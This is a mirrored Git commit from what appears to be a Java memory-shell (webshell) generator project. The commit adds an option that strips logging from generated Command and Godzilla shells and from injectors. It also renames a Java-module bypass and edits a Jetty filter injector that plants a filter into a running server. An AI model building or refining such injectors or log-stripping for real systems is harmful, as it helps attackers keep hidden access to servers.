mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-26 00:41:52 +08:00
feat: support debug mode
This commit is contained in:
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.CommandConfig;
|
||||
@@ -33,6 +34,10 @@ public class CommandGenerator {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (config.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.GodzillaConfig;
|
||||
@@ -39,6 +40,10 @@ public class GodzillaGenerator {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (config.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.InjectorConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
@@ -34,8 +35,12 @@ public class InjectorGenerator {
|
||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||
|
||||
if (config.needByPassJdkModule()) {
|
||||
builder = ByPassJdkModuleInterceptor.extend(builder);
|
||||
if (config.needByPassJavaModule()) {
|
||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
if (config.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
|
||||
+2
-10
@@ -46,15 +46,6 @@ public class JettyFilterInjector {
|
||||
|
||||
}
|
||||
|
||||
public String getFilterName(String className) {
|
||||
if (className.contains(".")) {
|
||||
int lastDotIndex = className.lastIndexOf(".");
|
||||
return className.substring(lastDotIndex + 1);
|
||||
} else {
|
||||
return className;
|
||||
}
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object magicFilter) {
|
||||
Class<?> filterClass = magicFilter.getClass();
|
||||
try {
|
||||
@@ -122,7 +113,8 @@ public class JettyFilterInjector {
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
System.out.printf("contextSize: %s%n", contexts.size());
|
||||
String log = String.format("contextSize: %s%n", contexts.size());
|
||||
System.out.println(log);
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user